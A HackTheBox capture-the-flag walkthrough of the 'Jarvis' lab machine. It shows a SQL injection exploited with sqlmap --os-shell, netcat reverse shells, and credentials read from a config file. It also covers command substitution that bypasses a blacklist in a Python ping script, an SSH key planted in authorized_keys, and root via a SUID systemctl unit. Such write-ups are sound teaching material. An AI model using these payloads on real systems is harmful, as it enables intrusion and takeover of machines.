HackTheBox - Jarvis
Jarvis was a pretty straight forward box and “textbook case” style. While it’s rated as Medium difficulty I would advise beginners to start with this one.
It rely on bad configurations practices rather than already made exploits which makes it more interesting in my opinion.
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.143 jarvis.htb" >> /etc/hosts |
Let’s go !
User Flag
Recon
Let’s start with the classic nmap
scan:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC jarvis.htb |
Seems like we have somethig super classic: A http (port 80) and SSH (port 22) service open.
Opening the http://jarvis.htb
display the following website :
Browsing the site shows available rooms, food and… that’s it. The only page that looks dynamic is the room description page:
Let’s keep that in mind.
Out of curiosity I ran gobuster
to see if we can find interresting files and directories but nothing special was found :
1 | [hg8@archbook ~]$ gobuster dir -u http://jarvis.htb -w ~/SecLists/Discovery/Web-Content/common.txt |
Maybe the phpmyadmin
instance will come useful in the future.
Oddly enough I could run gobuster
without issue while during my first walkthrough I got banned when using any automated scanner and got the following message :
Hey you have been banned for 90 seconds, don’t be bad
SQL Injection
Since we have no other interesting entry point so far let’s focus on that room page.
Looking the url http://jarvis.htb/room.php?cod=1
, we immediatly notice the cod=1
parameter. Let’s try some injection here, starting with the most common: SQL Injection.
Appending various characters to the cod
parameters yield an empty room description :
After a few tries we discover that the classical AND 1=1
payload works.
Opening http://jarvis.htb/room.php?cod=1
and http://jarvis.htb/room.php?cod=1 AND 1=1
return the exact same result :
Let’s automate the process with our favorite SQL injection toolkit: SQLMap.
A very useful option (in our case) is --os-shell
, with it SQLMap will if possible use the SQL injection to upload and open a reverse shell to the server.
Let’s let SQLMap do all the dirty work for us:
1 | sqlmap -u "http://jarvis.htb/room.php?cod=6" --os-shell |
No surprise, we get banned here with the same error message :
Hey you have been banned for 90 seconds, don’t be bad.
Let’s try different options. First adding a delay of 10 seconds between each request (with --delay=10
) might not trigger the ban:
1 | [hg8@archbook ~]$ sqlmap -u "http://jarvis.htb/room.php?cod=6" --delay=10 --os-shell |
Jackpot!
Note: We could also have used --user-agent=<random-ua>
to avoid using the default sqlmap
user agent that can get easily detected by WAF.
We have a PHP shell running as www-data.
For ease of use, I open a netcat reverse shell and close the php shell opened by SQLMap:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
1 | [hg8@archbook ~]$ # Back to the SQLMap/PHP reverse shell |
And surely we get the connection:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Note: As a reminder you can use the following magic trick to upgrade your shell to a fully interactive one :
1 | # In reverse shell |
Pivot www-data -> pepper
Alright, so now we have shell on the www-data
user. Let’s try to move to the user to find the first flag.
Looking around the webapp files we find the database credentials:
1 | www-data@jarvis:/var/www/html$ cat connection.php |
We can try to connect using the phpmyadmin
instance:
But turn out there is nothing interesting there. Only a empty flag
database, probably a joke by one of the users. Let’s move on.
To make the recon task easier, we are going to use the Linux enumeration tool. For the transfer of the script we will setup a simple http server on our attacking machine:
1 | [hg8@archbook ~]$ wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh |
Let’s run the script to see if we can find anything intesrresting :
1 | $ bash /tmp/lse.sh |
We notice two very distinctive configurations here. First of all, the script /var/www/Admin-Utilities/simpler.py
can be run as user pepper
without password through sudo. This simpler.py
script will be our entry point to pivot to the pepper
user.
Second, we notice that systemctl
binary at the setuid bit set. As a reminder SETUID is special permission attributes in Unix and Unix-like systems, they allow unprivileged users to run programs with elevated privileges.
Here systemctl
will always be run at root:
1 | $ ls -l /bin/systemctl |
Let’s keep that in mind for the privilege escalation later.
Alright, with all of that in mind, let’s investigate this simpler.py
script to see how we can abuse it to pivot to the pepper
user.
1 | $ ls -l |
The file is owned by pepper
user and we have no right to edit it. We will need to find a vulnerabiility in the script.
Upon opening it we can see it’s used to show statistics about attackers IP and to ping those IP.
The function to ping
catch the attention because of the use of os.system
.
1 | def exec_ping(): |
os.system('ping ' + command)
clearly open a command injection vulnerability. However the script author seems to be aware of the issue and blacklisted a few common characters used in command injection.
So we can’t easily inject command. But then what about command substitution ?
According to the bash manual:
1 | [hg8@archbook ~]$ man bash |
While the `
is blacklisted, neither $
or ()
is. Let’s try to subsitate then :
1 | *********************************************** |
Awseome, let’s use this to open a reverse shell:
1 | [hg8@archbook ~]$ nc -l -vv -p 8544 |
And surely enough we get our shell!
1 | [hg8@archbook ~]$ nc -l -vv -p 8544 |
Root Flag
Recon
Note: To make it easier I added my ssh pub key to authorized_keys
to connect to the pepper
account by SSH:
1 | echo "ssh-rsa XXXXX" >> ~/.ssh/authorized_keys |
The recon phase will be quick here since we already a very valuable information in the user recon phase : /bin/systemctl
have the SUID bit set :
1 | $ ls -l /bin/systemctl |
This mean that if we manage to make systemctl
run a command for us, this one will be automatically run as root user.
Systemctl privilege escalation
For this kind of need, GTFOBins is an incredibly useful project:
GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
And surely enough, there is informations and even an example for systemctl
:
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
First we open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Now let’s run the GTFO example and replace the command with our reverse shell :
1 | [hg8@archbook ~]$ TF=$(mktemp).service |
And since everything went fine, we get our shell:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Hope this was clear enough, as always do not hesitate to contact me for any questions or feedbacks.
See you next time !
-hg8